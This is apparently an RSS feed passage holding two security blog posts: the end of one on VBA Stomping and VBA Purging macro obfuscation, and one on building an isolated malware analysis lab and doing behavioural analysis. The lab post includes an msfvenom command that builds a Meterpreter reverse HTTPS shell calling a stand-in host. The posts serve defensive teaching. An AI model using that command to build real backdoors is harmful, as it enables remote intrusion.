information.</li></ul><p><strong>VBA Stomping</strong></p><p>VBA Stomping is a technique that simply removes the <strong><em>CompressedSourceCode </em></strong>in a module stream and only leave the complied code for execution <em>(</em><strong><em>PerformanceCache)</em></strong>; hence, forensic tools, which relies on VBA code, would not detect malicious MS files applying this technique. It is important to note that MS office only executes compiled codes if the MS office version in the target host is the same to the value specified in<em> </em><strong><em>_VBA_PROJECT </em></strong>stream.</p><p>For more details, <a href="https://vbastomp.com/">vbastomp.com</a> contains good resources to dig deeper. Furthermore, outflank has release a tool named <a href="https://github.com/outflanknl/EvilClippy">EvilClippy</a> to stomp VBA code and confuse analysis tools.</p><p>Lets have a look at an example found in VT with <a href="http://23f7817eae61fda0a25292c4fd4f8d7e07150c657274c912776548c59e6c71f3/">SHA256: 23f7817eae61fda0a25292c4fd4f8d7e07150c657274c912776548c59e6c71f3</a></p><ul><li>ssview prompts error when trying to open the file. It could due to the removal of compressed code.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*nIFAZueBh4e-UKZk_pu3YQ.png" /><figcaption>Figure 5: ssview failed to open a VBA stomping file</figcaption></figure><ul><li><a href="https://blog.didierstevens.com/programs/oledump-py/">oledump.py</a> tool doesn’t detect any macro codes. Hence, AV or analysts may clarify the file as benign. However, there are VBA-related streams found in the output, which hints the present of VBA usage.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2CJ4r-WwTZmJTu6LYI0OA.png" /><figcaption>Figure 6: VBA output</figcaption></figure><ul><li>Since <strong><em>CompressedSourceCode</em></strong><em> </em>has been stomped from “Module1”, VBA source codes can’t been seen and only compiled version.<em>(</em><strong><em>PerformanceCache). </em></strong><a href="https://github.com/bontchev/pcodedmp">pcodedump</a> and <a href="http://www.decalage.info/python/olevba">olevba</a> tools can be used to decompiled the embedded VBA codes.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*eWT3TYsgpJqPim2xhkeUjA.png" /><figcaption>Figure 7: <em>PerformanceCache (compiled codes) output from pcodedmp tool</em></figcaption></figure><p><strong>VBA Purging</strong></p><p>February 2020, Didier Stevens has published evidence of a new technique dubbed <a href="https://blog.nviso.eu/2020/02/25/evidence-of-vba-purging-found-in-malicious-documents/">VBA Purging</a>. VBA Purging is simple a reverse of VBA Stomping, in which it removes <strong><em>PerformanceCache </em></strong><em>and leave</em><strong><em> CompressedSourceCode. </em></strong>This is clearly a obfuscation move to evade signature detection based on <strong><em>PerformanceCache </em></strong>scanning.</p><p>Few month later (November 2020), FireEye also published <a href="https://www.fireeye.com/blog/threat-research/2020/11/purgalicious-vba-macro-obfuscation-with-vba-purging.html">an excellent blog</a> explaining VBA Purging. They also released a commandline tool to test this technique, called <a href="https://github.com/fireeye/OfficePurge">OfficePurge</a>.</p><p>In a nutshell, there are 2 notables from this techniques as in Figure 8:</p><ul><li>Compiled codes are removed from module streams. In this example, it can be seen that stream 7 and 8 has 0 byte for complied codes, while compressed codes are 137 and 924 bytes respectively.</li><li>all VBA-related information in _VBA_Project are removed, leaving only 7 bytes for the magic header. Recalling from previous section, MS Office reads information in this stream to decide whether it should use compiled codes or compressed codes. In this case, compiled codes have been removed; hence, the stream should be empty.</li><li>All <strong>_SRP_n </strong>streams are moved (if having) as those streams also contains data regarding <strong><em>PerformanceCache</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*s8ZrO0AcQ8Yx4k_pNdFAMQ.png" /><figcaption>Figure 8: Oledump Output of a sample purged word file from OfficePurge</figcaption></figure><ul><li>As usual, the compressed VBA code can be viewed via analysis tools, such as oledump.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*yA9C-l4z6M-E6C8pCxRQSQ.png" /><figcaption>Figure 9:Oledump output of compressed VBA codes</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50c87074fdba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Analysis Lab and Behavioral Analysis Steps]]></title>
            <link>https://tho-le.medium.com/malware-analysis-lab-and-behavioral-analysis-steps-229cf8c15d5e?source=rss-cccf93e8caad------2</link>
            <guid isPermaLink="false">https://medium.com/p/229cf8c15d5e</guid>
            <category><![CDATA[malware-lab]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware-analysis-lab]]></category>
            <category><![CDATA[behavior-analysis]]></category>
            <category><![CDATA[dynamic-analysis]]></category>
            <dc:creator><![CDATA[Tho Le]]></dc:creator>
            <pubDate>Sun, 03 Jan 2021 10:25:53 GMT</pubDate>
            <atom:updated>2021-01-03T10:25:53.739Z</atom:updated>
            <content:encoded><![CDATA[<p>This article provides instructions to build a safe environment that you can use to learn the behavior of a malware sample. The article contains 2 parts as below:</p><ul><li><strong>Malware lab</strong>: provides guides to build a safe and isolated environment to analyze Windows malware.</li><li><strong>Behavioral analysis</strong>: introduces steps to records traces/footprints left by a running malware sample. From the recorded data such as PCAP, process monitor (ProcMon) logs, DNS queries, web proxies requests, and registry changes, you can learn the behaviors of the examined malware.</li></ul><p><strong>Malware Lab</strong></p><p>The lab can be built via a hypervisor such as VMware or VirtualBox on your personal/working computer. In theory, malware can escape the virtual machine and infect your real environment. However, if you apply good practice as advised below, it is unlikely a concern, at least in my humble experience.</p><p><em>Note: I use VMware for virtualization; hence, the instructions and configurations are based on VMware. However, other virtualizations (e.g Virtual Box) should provide similar configurations.</em></p><p>The lab topology is shown in the figure below. It contains 2 hosts:</p><ul><li>Remnux (Linux): is a pre-built Linux toolkit for malware analysis. It can be downloaded from <a href="https://docs.remnux.org/install-distro/get-virtual-appliance">this page</a>. In this setup,<strong> </strong>Remnux has some interaction with your real environment to obtain Windows malware. However, as Linux has little to zero risk with Windows malware, it is considered safe. Remnux takes the role of the gateway, DNS server, and other services. Windows malware should be first transferred to Remnux.<strong> </strong>Then within the lab, Flare accesses Remnux (e.g SSH or HTTP) to retrieve the malware.</li><li>Flare (Windows): is a fully customizable, Windows-based security distribution for malware analysis, incident response, penetration testing, etc. The installation guide can be found on <a href="https://github.com/fireeye/flare-vm">the project Github page</a>. Flare is where malware runs; hence, it must be fully isolated and must have no interaction with your physical machine. It can only and always only communicate with Remnux.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*xu5CG4Wh3pZWBeZu6flO4w.png" /><figcaption>Figure 1: Network topology</figcaption></figure><p>The network configuration of both machines is as the figure below. “Network Adapter” should be “Host-only” so that both virtual machines can communicate with each other, but <strong>not to the Internet</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*hXTJvAVLKx-YRLjqC69KPQ.png" /><figcaption>Figure 2: Network adapter setting</figcaption></figure><p>Now, it is time to configure VMs with IP addresses as in Figure 1. However, it is important to configure the Flare VM’s <strong><em>the default gateway and DNS server pointed to Remnux.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*N3f5tU7TP8A59KkABkgh0w.png" /><figcaption>Figure 3: Flare VM IP Configuration</figcaption></figure><p>In addition, Flare VM must not be able to access shared folders, copy/paste, and drag/drop from and to the physical machine. There must be zero interaction between the physical machine and Flare VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*8egDAnRmRRj8Bli3VdDURw.png" /><figcaption>Figure 4: Flare VM Isolation</figcaption></figure><p>Malware often communicates with its C2 or download additional tools via HTTP/HTTPS; hence, it is beneficial to capture all web requests. There are quite multiple tools for this purpose and here are a few popular free tools, namely <a href="https://portswigger.net/burp">Burp suite</a>, <a href="https://www.zaproxy.org/">OWASP ZAP</a>, and <a href="https://www.telerik.com/fiddler">Fiddler</a>. I personally use Burp and ZAP for penetration testing purposes and Fiddler (which is simpler to use) to record web activities in my lab. After installing Fiddler in Flare, you will need to configure proxy so that Windows redirects all web requests to Fiddler as below:</p><ul><li>Configure Fiddler to listen on a specific port (Tool → Options)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*ZfDjR7AA4qU9QiFbuObQEg.png" /><figcaption>Figure 5: Configure Fiddler to listen on a specific port</figcaption></figure><ul><li>Configure Fiddler to intercept HTTPS traffic (Tool →Options)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*cGaXyG-dAjMU6AcXj_17wg.png" /><figcaption>Figure 6: Configure Fiddler to intercept HTTPS sessions</figcaption></figure><ul><li>Configure Windows to redirect all web traffic to Fiddler (Tool → WinINET Options →Connections → LAN settings → Advance</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*TXJVjamItPWCvUjqLLu7Eg.png" /><figcaption>Figure 7: Proxy setting configuration</figcaption></figure><p>Once, all have been set up and both machines can communicate with each other properly, a snapshot should be created for each machine so that after each analysis you can revert to the initial clean state.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*X6-qcyboAyEOq7JoTCHM2g.png" /><figcaption>Figure 8: Snapshot</figcaption></figure><p><strong>Behavioral Analysis</strong></p><p>This section provides steps and essential tools to record footprints of malware under examination.</p><p>For demonstration purposes, I generate a Meterpreter reverse shell with the following command in another VM — Kali and copy it to Remnux. Hence, I would expect to see a DNS request for <strong><em>maliciousdomain.com </em></strong>and web requests toward <strong><em>https://maliciousdomain.com/getcommand.php</em></strong></p><p><em>msfvenom -p windows/x64/meterpreter_reverse_https LHOST=maliciousdomain.com LPORT=443 LURI=getcommand.php -f exe -a x64 — platform windows &gt; https_reverse_shell.exe</em></p><p>Steps in Remnux:</p><ul><li>Step 1- Enable routing in Remnux: it turns Remnux into a routing gateway for Flare.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*PJUIxgBSuLcOu_whsxy8gA.png" /><figcaption>Figure 9: Accept-all-ips command in Remnux</figcaption></figure><ul><li>Step 2 — Enable SSH server: it allows Flare to retrieve malware samples from Remnux via SSH.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*5HGyrsXleCXCbdcWqwvfbA.png" /><figcaption>Figure 10: Enable SSH server</figcaption></figure><ul><li>Step 3 — Start Wireshark and capture packets</li><li>Start 4 — Start fakedns: it will answer all DNS requests to Remnux’s IP.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*Y3jJovkGxNBYAymSPuIxRg.png" /><figcaption>Figure 11: Enable DNS server</figcaption></figure><ul><li>Step 5 — Start Inetsim: it starts multiple simulated services as shown below.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*Lk9YJYWP9QTYFHzo818FGA.png" /><figcaption>Figure 12: Start simulated services</figcaption></figure><p>Steps in Flare:</p><ul><li>Step 1- Copy malware sample from Remnux via WinSCP</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HnQUy39FZeaYxhAgqaj8RQ.png" /><figcaption>Figure 13: WinSCP to copy malware from Remnux</figcaption></figure><ul><li>Step 2 — Regshot: Take the first registry snapshot with Regshot and save the output. <em>Do not close the Regshot application upon completion. You need to run the 2nd shot after executing the malware.</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*SRH2NaERdym7xu7zC8I_EA.png" /><figcaption>Figure 14: Take registry snapshot</figcaption></figure><ul><li>Step 3— Process Hacker: Once step 1 is completed, process hacker is useful to control the execution of malware.</li><li>Step 4— Start Fiddle: It allows us to examine all web activities.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*_hRp3kp3y6PvprCrkXI4ZQ.png" /><figcaption>Figure 15: Start Fiddler to record web activities</figcaption></figure><ul><li>Step 5— Start ProcMon: It records a huge number of all Windows activities. This is the main data source to study malware behaviors.</li><li>Step 6— Execute malware with admin privileges, wait for few minutes, and terminate it via Process Hacker. Some malware behave differently with and without admin privileges. Hence, you may want to conduct another analysis with a normal user account.</li><li>Step 7 — Stop ProcMon and save logs to a CSV file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*KCmBe-2vr8vlhkKnz3H8dA.png" /><figcaption>Figure 16: Save ProcMon to a CSV file</figcaption></figure><ul><li>Step 8 — Take the 2nd shot and compare it with 1st shot. It will show all registries that have been changed after running the malware sample.</li><li>Step 9 — Load ProcMon file to ProcDOT for visualization. ProcMon generated a huge amount of logs; hence, it would be easier to examine the activities of a process via a graph. However, ProcMon and ProcDOT usage are not the main focus of the article; therefore, readers are suggested to get acquainted with the tools in their own space.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*85F7dSJ2dnz1LDpqdk9MRg.png" /><figcaption>Figure 17: ProcDOT to choose a process for visualization</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AUs8RK4-nj2FDbXWF-nQNA.png" /><figcaption>Figure 18: ProcDOT visualization for PID 4200</figcaption></figure><p><strong>Conclusion</strong></p><p>The article has suggested a setup for a safe malware analysis lab and steps to perform behavioral analysis. From this foundation, readers are advised to practise analyzing malware samples in order to get familiar with introduced tools and generated logs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=229cf8c15d5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>